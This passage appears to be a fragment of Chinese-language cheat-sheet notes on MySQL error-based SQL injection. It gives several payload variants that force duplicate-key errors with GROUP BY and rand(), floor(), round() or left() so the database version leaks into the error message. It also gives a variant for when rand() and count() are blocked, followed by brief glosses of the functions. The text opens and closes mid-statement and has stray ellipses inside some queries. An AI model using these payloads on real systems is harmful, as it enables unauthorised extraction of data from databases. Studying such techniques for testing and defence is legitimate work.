concat(0x5e,version(),0x5e,floor(rand(0)*2))x,count(*) from (select 1 union select 2 union select 3)a group...x; //数据不足三条或者关键表被禁用
round():
select concat(0x5e,version(),0x5e,round(rand(0)))x,count(*) from test group...by x;
left():
select concat(0x5e,version(),0x5e,left(rand(0),3))x,count(*) from test group by x;
rand...(),count()被禁用:
select min(@a:=1) from test group by concat(0x5e,@@version,0x5e,@a:=(@a+1)%2);
语句随机应变...函数
group by:分组方式,作为虚拟表的主键
count(*)返回满足条件的行的个数
concat()连接字符串
floor()向下取整
round()四舍五入
left